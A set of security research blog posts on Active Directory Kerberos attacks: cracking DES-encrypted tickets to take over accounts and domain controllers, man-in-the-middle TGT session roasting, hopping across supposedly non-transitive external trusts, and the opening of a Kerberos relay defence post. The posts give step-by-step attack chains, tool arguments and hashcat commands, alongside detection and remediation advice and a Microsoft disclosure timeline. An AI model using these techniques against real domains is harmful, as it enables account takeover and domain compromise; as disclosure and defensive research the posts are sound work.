❌

Reading view

There are new articles available, click to refresh the page.

DES Is Useful... Sometimes

Data Encryption Standard (DES) is a symmetric-key block cypher algorithm created in the 1970’s and was historically used within Active Directory (AD) environments to secure data. Most notably, DES was used as an encryption type for Kerberos tickets, although on modern environments it is disabled by default. This tweet by Steve Syfuhs mentions that DES is uninteresting and β€œoff by default” but that got me thinking, what is involved in re-enabling it?

In this research, I’ll describe exactly how DES can be re-enabled and when it is enabled, how to use DES to takeover any AD account that isn’t krbtgt or a trust account.

Domain Controller Configuration

The main configuration required for DES to be enabled for Kerberos on a domain is at the domain controller’s level. The following GPO setting can be used to configure which encryption algorithms are supported by the DC’s, when it is applied to DC’s:

Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security: Configure encryption types allowed for Kerberos

Figure 1: Kerberos Encryption Types GPO Setting

Ultimately this sets the following registry key:

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\parameters\SupportedEncryptionTypes

Figure 2: Kerberos Encryption Types Registry Setting

This is a bitfield where 2 represents DES-CBC-MD5. This means that the GPO setting does not need to be set for DES to be supported, this registry key only requires the bit that represent β€˜2’ to be set on 1 domain controller on the domain.

The best way I’ve found to test this without the ability to query the registry for each DC is to request a TGT with a DES session key. I have modified Rubeus, which now includes the /suppenctype argument to asktgt, to make it easy to request TGT’s this way:

Figure 3: Requesting a TGT with a DES session key

Even though the TGT is encrypted with the krbtgt AES256 key, the session key is DES-CBC-MD5. It is important to note that this is possible to perform with any account without requiring any changes to the account. As shown below, there is no indication that the account supports DES in any way:

Figure 4: Account Supported Encryption Types and UAC

If the DC does not support DES-CBC-MD5, a KDC_ERR_ETYPE_NOTSUPP error is returned:

Figure 5: DES Unsupported

Cracking DES Tickets (Kerberoasting)

After understanding how DES could be enabled and how to tell if it was enabled, the next step was to understand exactly how to exploit this configuration.

The simplest example is when a service account is already configured for DES, this means has an SPN (service account) and has the useraccountcontrol (UAC) setting USE_DES_KEY_ONLY set:

Figure 6: Service account configured for DES

This makes it possible to request a service ticket (ST) for the service user des that is encrypted using DES:

Figure 7: Request DES encrypted service ticket

While the β€œKeyType” shown here is the session key type, which can be different to the encryption type of the ticket, the following wireshark output shows that the ticket is in fact encrypted using DES:

Figure 8: DES encrypted service ticket

Now the question was how can this be cracked? And more importantly, can the key be brute forced rather than cracking back to the plain text password? The reason this second question is more important is because if this is possible it would mean that any key can be recovered, even that of machine accounts.

To help figure out how to do this, I asked my friend Spiros Fraganastasis for help and he asked Sam Croley. Sam realised that if we knew the first block (8 bytes) of plain text, we could form a hash that would be crackable using hashcat’s mode 14000.

To form the hash, we need the initialization vector (IV), first block of cypher and first block of plain text. The IV is stored as the first 8 bytes of the cypher (after the checksum), the first block of cypher is the following 8 bytes after the IV. So, the only thing left to determine was the first block of plain text.

Dumping the decrypted enc-part for several tickets at first showed the same first block, but after more testing it was clear that this was changing a little:

Figure 9: Decrypted enc-part

Looking at this in an Asn.1 viewer it’s clear that the first 4 bytes are the header for the outer most tag, which contains the length of the data inside it (essentially the full length of the decrypted enc-part minus the length of the header (4 bytes)):

Figure 10: Application Asn.1 Tag

Similarly, the next 4 bytes is the header for a Sequence tag which contains the rest of the actual data and contains a length which is 4 bytes less than the previous length (length of the header less):

Figure 11: Sequence Asn.1 Tag

At first, I thought I could predict these values from having only the cypher, this is because the length of the plain text is always 24 bytes less than the full length of the cypher. The problem with this is after some testing, the full length of the plain text often differed from the full length of the actual data. This is because with DES the data is padded to ensure 8 byte blocks, so the plain text often had some junk padding at the end, which couldn’t be determined just from the cypher.

What I needed was a way to know with as close to 100% certainty what this first block is. After looking at the plain text again, I realised there are 3 sections which can vary in length:

Figure 12: Full enc-part Asn.1

These sections, from top to bottom, are the session key, client username (cname) and the PAC.

The session key type is determined, in large part, by the supported etypes supplied within the req-body of the request (controlled by the user requesting the ticket), the client username is determined by the TGT used to request the ticket. All that is left is the PAC, most of which is determined by the client user attributes within the AD database, the only exception is the server checksum, whose length is determined by the encryption type of the ticket (AES results in a 12 byte checksum, DES/RC4 results in a 16 byte checksum).

With all of this in mind, I realised it was possible to request a user-to-user (U2U) ticket which would match all of these requirements and result in a ticket that I could decrypt to get the first block of plain text. The session key as previously mentioned is determined by the supported etypes within the req-body of the request. The client user will be the user within the ticket granting ticket (TGT) which will be the same for the U2U request as for the service ticket request, meaning the cname along with most of the PAC will be the same (providing nothing changes for that user within AD between when the U2U ticket is requested and the DES encrypted ST is requested). And the U2U ticket encryption type (and ultimately the server checksum length within the PAC) is determined by the TGT session key, controllable when requesting the TGT.

After modifying Rubeus to return the first block of plain text when a ticket is decrypted within the DisplayTicket function, which is run when requesting a U2U ticket by default with Rubeus, we can see the plain text within the output:

Figure 13: Request U2U ticket to get plain text of first block

With knowledge of the plain text, it was now possible to form a crackable hash to brute force the DES key. This is done as follows:

CYPHER:(PLAINTEXT XOR IV)

So, imagine we have the following:

  • IV: D98C3338A9CB3626
  • CYPHER: 6C25DDEE294588FD
  • PLAINTEXT: 638203F8308203F4

We XOR the PLAINTEXT and IV, resulting in: BA0E30C0994935D2, and we end up with the following hash:

6C25DDEE294588FD:BA0E30C0994935D2

I’ve automated this into Rubeus’ describe command with the newly implemented /desplaintext argument, supplying the plain text we received from the U2U request along with the ST we requested earlier, we get back a crackable hash:

Figure 14: Rubeus describe returns crackable DES hash

Using this hash, the DES key used for encryption can be brute forced using the following hashcat command:

hashcat -a 3 -m 14000 A2CCBE7DA8A76607:94D29CF55C02153B -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1

Figure 15: Crack DES key

It’s worth noting 2 things here:

  1. For the DES key cracking in this post, I’ve put the first byte in manually to reduce the cracking time length, this is because I do not have access to a powerful cracking rig to demonstrate in the post.
  2. Due to DES having a parity bit at the end of each byte, there are 16 possible usable keys, the cracking will stop when it finds the first usable key, which may not be exactly the same as the key within the AD database but will work none-the-less.

This key can then be used to request a TGT as the service user:

Figure 16: Request TGT using DES

For the sake of completion, it should be clear that with write access to an account it would be possible to perform targeted DES Kerberoasting of the account (user or computer, due to brute forcing of the key) similar to Will Schroeder’s targeted Kerberoasting with the addition of modifying the accounts UAC bit USE_DES_KEY_ONLY to allow for retrieving the DES encrypted ST as well as authenticating using the DES key, of course this bit can be removed in between these actions to cause as little disruption as possible.

It is also worth noting that once the TGT has been retrieved, the USE_DES_KEY_ONLY UAC bit can be switched off:

Figure 17: USE_DES_KEY_ONLY disabled

Even with the USE_DES_KEY_ONLY bit off, the TGT retrieved using the DES key is still usable for its lifetime:

Figure 18: Use TGT retrieved using DES key

This means the USE_DES_KEY_ONLY bit can be on for a minimum amount of time for during a targeted account hijack to make risk of detection as low as possible.

Destroying DCs

As this method of Kerberoasting allows for the recovery of any account key due to a full address space brute forcing being possible, there are 3 types of accounts for which DES encrypted ST’s cannot be retrieved, even with the USE_DES_KEY_ONLY UAC bit set. These are the krbtgt account, trust accounts (INTERDOMAIN_TRUST_ACCOUNT) and DC accounts (SERVER_TRUST_ACCOUNT).

For science, I decided to see what could be done when write access to a DC is possible, partly because this is a semi-common situation where unprivileged users are joining the servers to the domain before a domain administrator (DA) promotes it to a DC, leaving the unprivileged user as the CREATOR OWNER.

I do not advise performing this attack on a live environment as the potential to cause disruption to the infrastructure is real, but it is, however, an interesting attack path.

So, in this example, the user one has GenericWrite over the DC DC2:

Figure 19: GenericWrite permission

While GenericWrite was chosen for ease of demonstration, this will also all work with CREATOR OWNER.

For this to be a useful attack path, it is assumed all the admin accounts are protected from delegation, as shown below:

Figure 20: Administrator marked as β€œSensitive and cannot be delegated”

If this was not the case, it would be possible to use Resource-Based Constrained Delegation (RBCD) to escalate. It is also assumed that PKINIT is not configured, otherwise shadow credentials could be used to escalate.

Initially the DC2 accounts UAC value is usual for a DC:

Figure 21: DC2 UAC value

Enabling the USE_DES_KEY_ONLY UAC bit:

Figure 22: Enable DES for DC2

It can be demonstrated that a DES encrypted ST cannot be requested:

Figure 23: ETYPE_NOTSUPP error

So, to exploit this SERVER_TRUST_ACCOUNT (8192) needs to be changed to WORKSTATION_TRUST_ACCOUNT (4096), to do this the UAC field can be XOR’d with 12288:

Figure 24: Downgrade DC from SERVER_WORKSTATION_ACCOUNT to WORKSTATION_TRUST_ACCOUNT

Now that the DC2 account has been downgraded to a normal workstation account, it is possible to request a DES encrypted ST:

Figure 25: Request DES encrypted ST for DC account

Request a U2U ticket to get the valid plain text of the first block (as described previously):

Figure 26: Request U2U ticket to get plain text of first block

Use Rubeus’ describe, with the /desplaintext to get the crackable DES hash:

Figure 27: Rubeus describe returns crackable DES hash

As with the user hash in the previous example, this hash can be used to brute force the DES key for the DC2 account using the following hashcat command:

hashcat -a 3 -m 14000 31812F50B7AC7122:41299994A5D5ADB3 -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1

Figure 28: Brute forcing DES key

Using this DES key, a TGT can be requested for the DC2 account:

Figure 29: Request TGT for DC2 account

Now a TGT has been retrieved, DES needs to be disabled again:

Figure 30: Disable DES on the DC2 account

The DC2 account also needs to be escalated back to a SERVER_TRUST_ACCOUNT, unfortunately while this level of access grants the ability to downgrade from SERVER_TRUST_ACCOUNT to WORKSTATION_TRUST_ACCOUNT, it does not allow for the reverse:

Figure 31: Fail to escalate DC2 account

Escalation within the domain is required to escalate the DC2 account back to a SERVER_TRUST_ACCOUNT. This can be done by requesting a S4U2self ticket for DC2 as an administrative user (Administrator in this case):

Figure 32: S4U2self ticket for Administrator to DC2

This ticket can be used with impacket to DCsync the AES key for the Administrator from DC2:

Figure 33: DCsync Administrator AES key

This key can be used to request a TGT as the Administrator user:

Figure 34: Request Administrator TGT

Finally, the DC2 account can be escalated back to a SERVER_TRUST_ACCOUNT:

Figure 35: Escalate DC2 account

Again, I’d like to reiterate, I do not advise performing this attack path on a live environment. There is a LOT of room for real disruption.

DES In The Middle (TGT Session Roasting)

Anyone that was paying attention earlier and understood my previous research on AS-REQ ST’s may realise that there is another potential abuse here. In my previous post, in the section called β€œProof of concept: RoastInTheMiddle” I demonstrate that it is possible to capture, modify and replay AS-REQ’s. In the section β€œDomain Controller Configuration” above, I showed that it is possible to request a TGT with a DES session key providing the DC supports DES and without changing the account in any way to support DES. This is done by only including the DES-CBC-MD5 etype within the req-body inside the AS-REQ.

This means if a valid AS-REQ with pre authentication can be captured, it could be modified to only include the DES-CBC-MD5 etype, replayed to a DC supporting DES which will result in a TGT with a DES session key being returned. All that is required to use this TGT is the session key. As the key used to encrypt the pre authentication data is unknown, it is not possible to decrypt the enc-part of the AS-REP to retrieve the session key and use the TGT immediately, it is possible however to request an ST that is encrypted with the TGT session key, using U2U. This is done by providing a TGT for an account for which credentials have been obtained and providing the TGT with a DES session key as the additional ticket. This will result in a ST encrypted with the DES session key but for the user of the account for which credentials have been obtained.

For example, User1’s credentials are known.

  1. Request a valid TGT for User1.
  2. Send U2U with User1’s TGT as both authentication and additional tickets to extract known plain text of first block.
  3. Man-in-the-Middle (MitM) is performed.
  4. AS-REQ for Computer1 is captured.
  5. AS-REQ modified to only include the DES-CBC-MD5 etype.
  6. Forward AS-REQ to a DC that supports DES.
  7. Extract TGT for Computer1 from AS-REP.
  8. Send U2U with User1’s TGT as the authentication ticket and Computer1’s TGT as the additional ticket to get an ST encrypted with Computer1’s TGT’s session key.
  9. Create a DES hash from U2U ST encrypted with Computer1’s TGT’s session key.
  10. Create KERB_CRED from Computer1’s TGT and known information, missing the session key.
  11. Crack the DES hash back to the TGT session key.
  12. Insert the TGT session key into the KERB_CRED.
  13. Use the TGT to authenticate as Computer1.

I modified my RoastInTheMiddle tool to perform steps 2-10 automatically:

Figure 36: RoastInTheMiddle session roasting

RoastInTheMiddle performs an ARP poison MitM of 192.168.74.13 and takes a TGT using the /tgt argument, this can be a valid TGT for any account. What it does next is shown in the following wireshark output:

Figure 37: RoastInTheMiddle wireshark output

So here, the first 2 (TGS-REQ/TGS-REP) is the initial U2U using the TGT passed in as the /tgt argument to retrieve the plaintext (displayed in the output with the line β€œGot usable known plain text:”).

The next 4 is a genuine authentication of the DSP computer account, normally Windows sends an AS-REQ without pre authentication first, this is to retrieve the correct salt for the key. These are passed along to the DC (192.168.74.11) as usual to avoid interrupting the authentication, but the AS-REQ that contains pre authentication is stored (this is shown in the output on the line that says β€œGot AS-REQ for user [email protected] to service krbtgt/DES.LAB”).

The last AS-REQ/AS-REP is the modified AS-REQ, containing only the DES-CBC-MD5 etype, being sent to a DC (192.168.74.12) and the TGT being sent back.

Lastly the U2U request is sent using the TGT passed in as the /tgt argument as the authentication ticket and the TGT retrieved in the previous step as the additional ticket is sent which results in the DC (192.168.74.12) sending back an ST encrypted with the session key of the DSP computer accounts TGT.

In the RoastInTheMiddle output above, the DES hash for the TGT session key is printed along with the KERB_CRED containing the DSP computer accounts TGT without the session key (making it currently unusable).

The next step is cracking the DES hash of the TGT session key, it is important however that this key is cracked within the lifetime of the TGT (by default 10 hours), otherwise the TGT will be unusable anyway, the following hashcat command was used for this:

hashcat -a 3 -m 14000 EF746FE49C358B28:DF4C43FC01762CA3 -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1

Figure 38: TGT session key recovered

Now the session key needs to be inserted into the KERB_CRED output by RoastInTheMiddle earlier, for this I added a kirbi command to Rubeus, this command can eventually be used to manipulate KERB_CRED’s further but for now it just supports modifying/inserting a session key with the /sessionkey and /sessionetype arguments:

Figure 39: Insert session key into KERB_CRED

Lastly, this TGT can now be used to authenticate as the DSP machine account and retrieve ST’s:

Figure 40: Use TGT to request ST

DES AS-REP Roasting

Some of you may be asking β€œwhat about AS-REP Roasting?” and after essentially writing this whole post, that was the same question that I asked myself. If β€œAS-REP Roasting” is new to you, check out Will’s post on the topic, as I won’t be going over all of the details here.

The first step was to see if a TGT could be requested without pre authentication using the DES key:

Figure 41: Request TGT without preauth using DES key

The last thing needed is to know the first block of plain text of the enc-part within the AS-REP, the decrypted enc-part is shown below, with the first block highlighted:

Figure 42: Decrypted AS-REP enc-part

The first block this time consists of the first 3 tag headers:

Figure 43: First 3 Asn.1 Tags

Let’s look first at the third tag here (CONTEXT SPECIFIC) which is the last 2 bytes of the plain text (A0 13):

Figure 44: Context Specific Tag

Here it’s clear that A0 is the tag number for CONTEXT SPECIFIC and 13 (or 19 in decimal) is the length. This tag contains only the session key, which will always be DES-CBC-MD5, so the length will always be the same. This means the last 2 bytes of plain text will always be A0 13.

The first 3 bytes of plain text (79 81 CF) is the APPLICATION tag:

Figure 45: Application Tag

Here CF is the length of 207 which is the whole enc-part of the AS-REQ. Lastly, there is the next 3 bytes (30 81 CC), which is the SEQUENCE tag:

Figure 46: Sequence Tag

Here the length (CC or 204) is the length in the APPLICATION tag (207) minus 3 (the length of the tag header). So, the only problem with being able to predict the plain text for the first block of the enc-part of an AS-REP is the ability to predict the length of the APPLICATION tag. To see how this may be possible, let’s look at the whole enc-part:

Figure 47: AS-REP enc-part

Looking at the Asn.1 above, it’s clear that the only elements that will vary in length is the srealm and realm within the sname, everything else should remain a fixed length. With this in mind, it should be relatively easy to calculate the correct length.

The domain name used in this example is β€œdes.lab” which is 7 characters, this means the domain name takes up 14 bytes of the enc-part. The APPLICATION tag is 207 bytes, so:

207 – 14 = 193 bytes

To request a TGT without pre authentication, the domain name has to be known, so by doing the following, the proper length of the APPLICATION tag can be calculated:

193 + (length of domain name * 2)

Then to get the length of the SEQUENCE tag, just minus 3.

Using this method, I modified Rubeus’ asreproast command to support roasting DES enabled accounts when /aes isn’t passed:

Figure 48: AS-REP Roasting using LDAP

It is also possible to manually specify the account, rather than searching LDAP and requires including the /des switch:

Figure 49: AS-REP Roast without LDAP

It’s worth noting here that /format:hashcat is required because john the ripper doesn’t support cracking this type of hash. Using the following hashcat command, it is possible to crack this hash back to the account long term DES key:

hashcat -a 3 -m 14000 3DE9FBEA34F9851B:5B1E49C5BD8A76DF -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1

Figure 50: DES key cracked

This key can then be used to request a usable TGT:

Figure 51: Request TGT

Remediation/Detection

The best option to avoid these issues is to ensure that all DC’s have DES disabled in the relevant registry key:

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\parameters\SupportedEncryptionTypes

The bit that represents β€˜2’ has to be off. If this is the case, no DES attacks are possible on the domain.

Windows events can also be used to detect attacks that take advantage of DES encryption. The 4769 event can detect Kerberoast attacks that request DES ST’s:

Figure 52: 4769 requesting DES ticket

The 4768 event can be used to detect both the TGT session roasting MitM as well as the AS-REP roasting attacks:

Figure 53: 4768 requesting DES encryption

Conclusion

While DES is disabled by default in AD, it is still very easy to enable and when enabled puts the whole AD infrastructure at much higher risk. It should, therefore, be of utmost importance for sysadmins to ensure that DES is fully disabled on all DCs, as only a single DC supporting DES is all that is required to enable all of these attacks.

External Trusts Are Evil

This post is duel posted on the Semperis blog.

Another day, another β€œby design” but clearly unintended Windows AD feature. While playing with Kerberos tickets I discovered an issue that allowed me to authenticate to other domains within a forest across external non-transitive trusts. This means that there is in fact no such thing as a β€œnon-transitive trust”, and the description as such when creating a trust is at best misleading, leaving systems administrators with a false sense of security. After reporting this issue to Microsoft, I received the following response:

Figure 1: MSRC Response

This post details the issue discovered but as Microsoft do not feel that it affects security and as a result are not planning on fixing this issue, there is no way to avoid what is being described within this post apart from not using external trusts at all.

Trusts and Transitivity

Will Schroeder published a great post on trusts back in 2017. If you are not too familiar with the different trusts and how they work, I highly recommend reading that first as I will not be going into as much detail on the various types. For this post, I will not be discussing intra-forest trusts (trusts within a single forest) other than as they apply to the specific attack path that I am going to discuss. I also will not be discussing selective authentication trusts, but I have never actually seen these in real environments. The remaining trusts are forest trusts and external trusts. Forest trusts are trusts between two forests; or more accurately a transitive trust between the root domains of two forests, which means any user from any domain within the trusted forest can authenticate to any domain within the trusting forest. External trusts, on the other hand, are trusts between two domains and are described as being β€œnon-transitive”, which should mean that only users within the trusted domain can authenticate against only the trusting domain.

Figure 2: External Non-Transitive Trust

Other technical differences are present between forest and external trusts, but these will be discussed if and when required for this post.

Microsoft describes trust transitivity as follows:

Transitivity determines whether a trust can be extended outside of the two domains with which it was formed.

  • A transitive trust can be used to extend trust relationships with other domains.
  • A non-transitive trust can be used to deny trust relationships with other domains.

This description is very clear. For non-transitive trusts, only the two domains involved in the trust can authenticate to each other and not beyond. As I will demonstrate in this post, this is not the case.

Lab Setup

To properly demonstrate this issue, several multi-domain forests are required with external trusts between them. I have setup the lab as follows:

Figure 3: Lab Setup

This setup involves three (3) forests, two (2) of which have three (3) domains and the other containing two (2) domains. The domains semperis.lab and treetest.lab have a bidirectional non-transitive external trust:

Figure 4: External Trust 1

The domains grandchild1.child1.semperis.lab and semperisaz.lab also have a bidirectional non-transitive external trust:

Figure 5: External Trust 2

This should make it possible to demonstrate the implications and limitations of this issue.

How Kerberos Cross-Trust Authentication Works

The main thing that is required to authenticate to a service across a trust using Kerberos is a referral (or referral TGT). This is a ticket requested from your local domain controller (DC) for the foreign domain. This section assumes a basic understanding of how the normal Kerberos authentication flow works, for a detailed explanation of that check out Sean Metcalf’s Detecting Kerberoasting Activity post. It would also be advantageous to be reasonably familiar with Rubeus (as I will be using it to request tickets in the remaining sections). This section will focus on the semperis.lab forest which is sufficient to demonstrate how ticket requests across trusts are performed, the information here is, however, applicable to any β€œallowed” trust path.

The simplest example of cross-trust authentication is to authenticate to a service on a domain which has a direct trust with the local domain. The trust that the domain grandchild1.child1.semperis.lab has with child1.semperis.lab, shown in Figure 5 above, is an example of this. In this situation, the first step, after obtaining the initial TGT, in obtaining a service ticket for an account in grandchild1.child1.semperis.lab to a service in child1.semperis.lab is to obtain a referral for child1.semperis.lab:

Figure 6: Referral Request For child1.semperis.lab

As shown in Figure 6 above, the request was made to a DC (SGC1DC1.grandchild1.child1.semperis.lab) within the domain (grandchild1.child1.semperis.lab) local to the authenticating user (lowpriv). The request was made for the service krbtgt/child1.semperis.lab and the fact that the ServiceRealm (srealm) is the local domain (grandchild1.child1.semperis.lab) within the resulting ticket, shows that this ticket is a referral. The diagram below shows this:

Figure 7: Referral Request

This referral can now be used to request service tickets (STs) from the foreign domain:

Figure 8: Example Usage of Referral

Here an ST was requested from the foreign DC (SC1DC1.child1.semperis.lab) for the service host/SC1DC1.child1.semperis.lab using the referral retrieved previously.

Figure 9: Requesting ST Using Referral

To take this one step further, if a service on the forest root domain (semperis.lab) is required, a referral for this domain cannot be directly requested from the local (grandchild1.child1.semperis.lab) domain:

Figure 10: Referral Request For semperis.lab

As shown in Figure 10 above, a referral for krbtgt/semperis.lab was requested from the local DC sgc1dc1.grandchild1.child1.semperis.lab. However, the ticket returned by the DC was for the service krbtgt/child1.semperis.lab, meaning that this is a referral for the domain child1.semperis.lab, NOT semperis.lab.

Figure 11: Requesting Referral For semperis.lab

This can be explicitly shown by trying to use this ticket to request a ST for the semperis.lab domain:

Figure 12: Root Domain Service Ticket Request

As shown in Figure 12 above, this results in an AP_ERR_BAD_INTEGRITY error. This is because the referral ticket is encrypted with the trust key for the grandchild1.child1.semperis.lab --> child1.semperis.lab trust. The DCs in the root domain semperis.lab do not have knowledge of this key and so are not able to decrypt the ticket.

Figure 13: Requesting ST From semperis.lab

To request a service ticket for the root domain semperis.lab, first a referral for semperis.lab must be requested from a DC in the domain child1.semperis.lab using this referral:

Figure 14: Referral Request For semperis.lab

Here a request was made to the foreign DC (sc1dc1.child1.semperis.lab) using the referral for the domain child1.semperis.lab to request a further referral for the root domain semperis.lab. It should be noted here that in order to request this ticket, the /targetdomain argument is required. This is because by default Rubeus will use the domain within the ticket passed to it to fill in the domain in the TGS-REQ, in this case that would be grandchild1.child1.semperis.lab and would result in a ERR_WRONG_REALM error as the domain local to the DC is child1.semperis.lab. This will be very important in the next section.

Figure 15: Requesting Referral For semperis.lab

Lastly, this resulting referral for semperis.lab can be used to request STs for the semperis.lab domain:

Figure 16: Service Ticket Request For semperis.lab

This ST request from the user [email protected] made to the DC SDC1.semperis.lab for the SPN host/SDC1.semperis.lab is shown in the following diagram and was successful even though the two domains involved do not have a direct trust due to the trust path being allowed:

Figure 17: ST Request For host/sdc1.semperis.lab

This method of requesting referrals for trusting domains can be followed to request STs for any service within any domain for which the trust path is β€œallowed”.

Making The Non-Transitive Transitive

Now that we understand how authentication across trusts happens, let’s look at how it is possible to traverse external trusts to authenticate to domains that should be prohibited.

As shown in the Figure 3, the domains semperisaz.lab and grandchild1.child1.semperis.lab have a bidirectional external trust, this means that after retrieving a TGT for any account within the domain semperisaz.lab it is possible to request a referral for grandchild1.child1.semperis.lab:

Figure 18: Referral To granchild1.child1.semperis.lab

The diagram showing this request is below:

Figure 19: Request Referral For grandchild1.child1.semperis.lab

This referral can be used to request STs for services on the domain grandchild1.child1.semperis.lab, but if we try to obtain a referral to other domains within the same forest (for example child1.semperis.lab) we get an ERR_PATH_NOT_ACCEPTED error, which is expected:

Figure 20: Path Not Accepted Error

This is because the semperisaz.lab --> granchild1.child1.semperis.lab trust is non-transitive, so the path from semperisaz.lab to child1.semperis.lab is not allowed.

Figure 21: Requesting Referral For child1.semperis.lab

However, we can request a β€œlocal” TGT for grandchild1.child1.semperis.lab:

Figure 22: Requesting β€œlocal” TGT For grandchild1.child1.semperis.lab

I call this a β€œlocal” TGT because unlike the referral, which has a ServiceRealm (srealm) of semperisaz.lab, the ServiceRealm is grandchild1.child1.semperis.lab.

Figure 23: Requesting "local" TGT

Using this β€œlocal” TGT, a referral for child1.semperis.lab can now be requested:

Figure 24: Referral For child1.semperis.lab

This process can be seen in the following diagram:

Figure 25: "local" TGT To Request Referral For child1.semperis.lab

We now have a usable referral which can be used to request STs for child1.semperis.lab using any account from the semperisaz.lab domain and without making any changes to trusts or accounts within AD. This is demonstrated below:

Figure 26: Requesting ST For DC In child1.semperis.lab

In Figure 26, a ST was requested from the DC sc1dc1.child1.semperis.lab for the service host/sc1dc1.child1.semperis.lab as the user [email protected]:

Figure 27: Requesting ST For host/sc1dc1.child1.semperis.lab

Furthermore, this method can be used to hop around any domain within the same forest that grandchild1.child1.sermperis.lab exists in. We can demonstrate this by requesting a referral to the root domain semperis.lab:

Figure 28: Requesting Referral For semperis.lab

A referral was requested for semperis.lab from the DC sc1dc1.child1.semperis.lab as the user [email protected]:

Figure 29: Requesting Referral To semperis.lab

Fortunately for security, hopping across further trusts outside of the forest (external or forest trusts) is not possible using this method. As shown in Figure 3, the root domain semperis.lab has a bidirectional external trust with treetest.lab, this trust can be used to demonstrate that limitation:

Figure 30: Requesting Referral For treetest.lab

This at least stops an attacker using this method of trust hopping from hopping into another forest.

Figure 31: Requesting Referral For treetest.lab

This issue is clearly useful for attackers trying to elevate privileges within a forest from across a trust. Other than being able to query domain information from domains that systems administrators may think would be disallowed (and query more sensitive domains or potentially domains with weaker security), this also makes it possible to perform attacks such as Kerberoasting or NTLM authentication coercion on domains that may seem to be disallowed.

Hopping Further

While it is not possible to hop further using this specific method, I did write a post a while ago about the ability to create machine accounts across trusts and that this may open up new avenues of attack for attackers. This situation is another example of that.

Using the referral retrieved for semperis.lab, it is possible to request a ticket for the LDAP service on a DC in semperis.lab:

Figure 32: Request ST For LDAP

Here a ST for ldap/sdc1.semperis.lab was requested using the referral for semperis.lab as the user [email protected]:

Figure 33: Request ST For ldap/sdc1.semperis.lab

This ST can be injected and used to create a machine account directly in semperis.lab (given the configuration allows Authenticated Users, as is default):

Figure 34: Create Machine Account In semperis.lab

This causes the DC sdc1.semperis.lab to create the machine account TestComp within the semperis.lab domain:

Figure 35: Create Machine Account TestComp

This newly created TestComp machine account is a local account within the domain semperis.lab. Now that we have a machine account that exists within semperis.lab, we can retrieve a TGT for that account:

Figure 36: Machine Account TGT

Requesting the machine account TGT looks as follows:

Figure 37: Requesting TGT For TestComp

This machine account TGT is allowed to request a referral to the trusting domain treetest.lab:

Figure 38: Requesting Referral For treetest.lab

Here the machine account’s TGT was used to request a referral for the treetest.lab domain from the DC SDC1.semperis.lab:

Figure 39: Request Referral For treetest.lab

Lastly, the issue described in this post can again be used to gain access to the inaccessible dsptest.lab domain. First by requesting a β€œlocal” TGT for treetest.lab:

Figure 40: Requesting Local TGT For treetest.lab

The β€œlocal” TGT is requested using the referral for treetest.lab as the account [email protected] from the DC TDC1.treetest.lab:

Figure 41: Requesting "local" TGT For treetest.lab

Then using this β€œlocal” TGT to request a referral for dsptest.lab:

Figure 42: Requesting Referral For dsptest.lab

Here a referral was requested for the domain dsptest.lab from the DC TDC1.treetest.lab as the user [email protected]:

Figure 43: Requesting Referral For dsptest.lab

It should be clear that using the combination of these two methods would make it possible to hop very deep into AD enterprise infrastructures, using any low privileged account on a domain which has an external trust to any domain within a forest.

Detection

Unfortunately, the only way to prevent this attack path is to remove external trusts completely. If this is not possible, detection is possible. The relevant Windows events are 4769’s (A Kerberos service ticket was requested). The first indication is that a β€œlocal” TGT is requested from an account in a different forest:

Figure 44: 4769 For Local TGT

Here the Account Domain field is a domain that belongs to a different forest and the Service Name is krbtgt. This event is followed by another 4769 requesting a referral:

Figure 45: 4769 For Referral

Here the Account Domain is a domain within a different forest and the Service Name is another domain within the local forest.

It is worth noting that these two events can be on different DCs within the same domain, they do not have to reside on the same DC. At this point, any service tickets requested (4769’s) using this referral will have an Account Domain that contains a domain that should not be allowed to authenticate to the local domain.

Plans to consume these events and detect this attack are planned for an upcoming release of Directory Services Protector (DSP).

Conclusion

The biggest problem here is Microsoft’s description of non-transitive trusts being, at best, misleading to systems administrators. This problem is exaggerated by Microsoft’s refusal to accept that this affects security. As it stands, by creating an external β€œnon-transitive” trust, companies must accept that any account within the trusted domain can authenticate against any domain within the whole forest where the trusting domain resides.

As demonstrated above, in the β€œHopping Further” section of this post, this research again highlights the importance of disallowing Authenticated Users from being able to create machine accounts, as not doing so not only puts domains within the forest at a higher risk, but also puts any domains (and the whole forest within which they reside) which have an external trust with any domain within the forest at a higher risk. This is due to the ability to create machine account across trusts, even while using the technique used within this blog post to authenticate against domains which should be disallowed. More information on the machine account quota and how to prevent low privileged machine account creation can be found on Kevin Robertson’s excellent post β€œMachineAccountQuota is USEFUL Sometimes”.

If nothing else, I hope this blog post informs systems administrators of the real forest-wide risk involved in implementing external trusts. Afterall, how can systems administrators be expected to properly secure their environments while thinking authentication is not possible where it actually is.

Timeline

  • 2022/05/04 – MSRC case created.
  • 2022/05/12 – Case status changed to β€œReview/Repro”.
  • 2022/06/17 – Case status changed to β€œDevelop” with email that stated "We confirmed the behavior you reported. We'll continue our investigation and determine how to address this issue."
  • 2022/06/17 – Case status changed to β€œComplete – Resolved”.
  • 2022/08/24 – Comment left on case to find out the status.
  • 2022/09/02 – A follow-up comment left on case to find out the status.
  • 2022/09/14 – A follow-up email sent to find out the status of the case.
  • 2022/09/29 – Email received explaining the issue was not determined to affect security.
  • 2023/03/14 – Public disclosure - Blog post released.

Acknowledgements

Defending the Three Headed Relay

A joint blog written by Andrew Schwartz, Charlie Clark, and Jonny Johnson

Introduction

For the past couple of weeks it has become apparent that Kerberos Relaying has set off to be one of the hottest topics of discussion for the InfoSec community. Although this attack isn’t new and was discovered months ago by James Forshaw, it has recently taken off because a new tool called KrbRelayUp has come to surface that takes James’ work and automates that process for anyone wanting to exploit this activity. This tool however doesn’t only exploit James’ work, but also work from Elad Shamir around S4U2Self/S4U2Proxy, while using code from Rubeus by Will Schroeder. We as a group (Andrew, Charlie, and Jonny) found this interesting as we saw many detections coming out for β€œKerberos Relay” that might not actually detect β€œKerberos Relay” if the action was performed by itself, but more of post-exploitation actions β€” say in the S4U activity.

During this blog post we will take a look into Kerberos Relay, break out the different attack paths one could take, and talk about the different defensive opportunities tied to this activity and other activities leading up to Kerberos Relay or after.

Kerberos Relay Explained

